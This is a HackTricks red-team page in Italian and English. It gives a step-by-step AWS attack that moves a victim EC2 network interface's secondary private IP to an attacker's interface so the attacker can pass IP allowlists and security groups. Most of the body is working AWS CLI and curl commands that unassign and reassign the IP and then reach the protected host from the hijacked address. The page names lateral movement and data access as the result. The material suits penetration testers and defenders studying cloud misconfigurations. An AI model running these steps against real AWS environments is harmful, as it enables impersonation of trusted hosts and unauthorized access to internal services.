AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)

Reading time: 4 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Abuse ec2:UnassignPrivateIpAddresses and ec2:AssignPrivateIpAddresses per rubare l'indirizzo IP privato secondario di una ENI vittima e spostarlo su una ENI dell'attaccante nello stesso subnet/AZ. Molti servizi interni e security groups limitano l'accesso in base a IP privati specifici. Spostando quell'indirizzo secondario, l'attaccante si fa passare per l'host trusted a livello L3 e può raggiungere allowlisted services.

Prerequisiti:

  • Permessi: ec2:DescribeNetworkInterfaces, ec2:UnassignPrivateIpAddresses sull'ARN della ENI vittima, e ec2:AssignPrivateIpAddresses sull'ARN della ENI dell'attaccante.
  • Entrambe le ENI devono essere nello stesso subnet/AZ. L'indirizzo target deve essere un IP secondario (l'IP primario non può essere rimosso).

Variabili:

  • REGION=us-east-1
  • VICTIM_ENI=
  • ATTACKER_ENI=
  • PROTECTED_SG= # SG su un servizio target che permette solo $HIJACK_IP
  • PROTECTED_HOST=

Passaggi:

  1. Seleziona un IP secondario dall'ENI vittima
bash
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
export HIJACK_IP=$(cat HIJACK_IP)
  1. Assicurati che l'host protetto permetta solo quell'IP (idempotente). Se invece usi regole SG-to-SG, salta.
bash
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80   --cidr "$HIJACK_IP/32" --region $REGION || true
  1. Linea di base: dall'attacker instance, la richiesta a PROTECTED_HOST dovrebbe fallire senza spoofed source (es., via SSM/SSH)
bash
curl -sS --max-time 3 http://$PROTECTED_HOST || true
  1. Rimuovere l'IP secondario dall'ENI della vittima
bash
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
  1. Assegna lo stesso IP all'ENI dell'attaccante (su AWS CLI v1 aggiungi --allow-reassignment)
bash
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
  1. Verificare che la proprietà sia stata trasferita
bash
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
  1. Dall'istanza dell'attaccante, source-bind to the hijacked IP per raggiungere l'host protetto (assicurati che l'IP sia configurato sul sistema operativo; in caso contrario, aggiungilo con ip addr add $HIJACK_IP/<mask> dev eth0)
bash
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out

Impatto

  • Bypassare le allowlists IP e impersonare host di fiducia all'interno della VPC spostando secondary private IPs tra ENIs nello stesso subnet/AZ.
  • Raggiungere servizi interni che controllano l'accesso in base a specifici source IPs, consentendo lateral movement e data access.

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks